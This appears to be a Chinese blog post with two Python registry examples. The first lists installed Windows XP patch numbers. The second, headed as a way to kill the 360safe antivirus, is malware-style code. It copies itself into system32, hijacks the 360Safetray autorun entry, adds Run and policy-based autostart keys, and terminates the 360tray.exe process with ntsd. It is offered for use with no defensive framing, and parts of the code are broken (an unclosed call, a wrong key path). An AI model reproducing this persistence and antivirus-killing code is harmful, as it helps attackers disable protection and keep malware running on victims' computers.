python操作注册表两例

python操作注册表两例

在Python的标准库中,_winreg.pyd可以操作Windows的注册表,另外第三方的win32库封装了大量的Windows API,使用起来也很方便。不过这里介绍的是使用_winreg操作注册表,毕竟是Python自带的标准库,无需安装第三方库。

下面的例子是通过Python获取Windows XP下已经安装的补丁号。Windows的补丁号都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\ Updates”下,通过循环下面所有的目录节点,如果找到的名称符合正则表达式KB(\d{6}).*,则表示是一个补丁号。

从例子可以看出操作起来非常的简单和快速。

 1  #  -*- coding: utf-8 -*-
 2  #  获取Windows的已打的补丁号
 3  from  _winreg  import   *
 4  import  re
 5 
 6  def  subRegKey(key, pattern, patchlist):
 7       #  个数
 8      count  =  QueryInfoKey(key)[0]
 9       for  index  in  range(count):
10           #  获取标题
11          name  =  EnumKey(key, index)
12          result  =  patch.match(name)
13           if  result:
14              patchlist.append(result.group( 1 ))
15          sub  =  OpenKey(key, name)
16          subRegKey(sub, pattern, patchlist)
17          CloseKey(sub)
18 
19  if   __name__   ==   ' __main__ ' :
20      patchlist  =  []
21      updates  =   ' SOFTWARE\\Microsoft\\Updates '
22      patch  =  re.compile( ' (KB\d{6}).* ' )
23      key  =  OpenKey(HKEY_LOCAL_MACHINE, updates)
24      subRegKey(key, patch, patchlist)
25       print   ' Count:  '   +  str(len(patchlist))
26       for  p  in  patchlist:
27           print  p
28      CloseKey(key)
29 

用python修改注册表干掉360safe

 1  import  _winreg 
 2  import  os 
 3  import  shutil 
 4 
 5  # 复制自身 
 6  shutil.copyfile( ' K3.exe ' , ' c:\WINDOWS\system32\K3.exe '
 7 
 8  # 把360启动改为自身 
 9  run  =  _winreg.OpenKey( 
10        _winreg.HKEY_LOCAL_MACHINE, 
11         " SOFTWARE\Microsoft\Windows\CurrentVersion\Run " ,0,_winreg.KEY_WRITE 
12        ) 
13 
14  _winreg.SetValueEx( 
15        run, " 360Safetray " ,0,_winreg.REG_SZ, 
16        r " C:\WINDOWS\system32\k3.exe "  
17        ) 
18 
19  # 添加自启动 
20  self  =  _winreg.OpenKey( 
21        _winreg.HKEY_LOCAL_MACHINE, 
22         " SOFTWARE\Microsoft\Windows\CurrentVersion\Run " ,0,_winreg.KEY_WRITE 
23        ) 
24 
25  _winreg.SetValueEx( 
26        run, " k3 " ,0,_winreg.REG_SZ, 
27        r " C:\WINDOWS\system32\k3.exe "  
28        ) 
29  # 添加所有用户启动 
30  allrun  =  _winreg.OpenKey( 
31        _winreg.HKEY_LOCAL_MACHINE, 
32         " Microsoft\Windows\CurrentVersion\policies\Explorer\Run " ,0,_winreg.KEY_WRITE 
33        ) 
34  _winreg.SetValueEx( 
35        allrun, " k3 " ,0,_winreg.REG_SZ, 
36        r " C:\WINDOWS\system32\k3.exe "  
37        ) 
38 
39  # 终止360进程 
40  os.popen( " ntsd -c q -pn 360tray.exe cmd " )


你可能感兴趣的:(python操作注册表两例)